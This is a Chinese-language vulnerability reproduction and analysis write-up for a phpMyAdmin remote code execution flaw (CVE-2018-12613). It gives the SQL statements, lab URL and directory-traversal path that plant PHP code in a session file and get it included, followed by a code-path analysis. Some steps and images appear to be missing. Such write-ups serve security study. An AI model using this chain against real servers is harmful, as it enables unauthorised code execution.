PhpMyadmin 4.8.0 Rce 漏洞复现&分析
0x01 漏洞背景
漏洞编号:CVE-2018-12613
漏洞成因:
0x02 漏洞复现
创建数据库表
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo();?>';
访问该接口生成配置表
http://192.168.52.2/phpMyAdmin-4.8.3/chk_rel.php?fixall_pmadb=1&db=foo
向foo.bar中添加路径,注意其中的sess_xxx后面的xx需要对应为自己的cookie中phpmyadmin的值
INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop','../../../../../../../../var/lib/php/sessions/sess_rud9r0ms694tjr6u8bd3gugvsa','plop'
执行payload
0x03 漏洞分析
根据漏洞相关信息,可以直接从tbl_replace处进行分析
而$filename中的内容则是来源于mime_map的拼接,而mine_map忘上追溯,则是来源于getTime方法
往上追溯getMime方法,跟到libaries/classes
该静态方法通过sql语句查询,而其中刚刚好查询出poc当中的input_transformation字段设置为../../../进行目录穿越
最后经过对mime处理,生成mime_map,返回
在最后通过include_once去包含filename文件中,file最终的值是session文件,也就是说,只要执行了该sql语句,便会存在在session文件中,跟数据库中是否存在该语句无关。如果需要更换语句,建议重新退出,登陆。然后重新执行sql语句(不退出也行就是怕前面的语句出错,导致后面的直接不执行)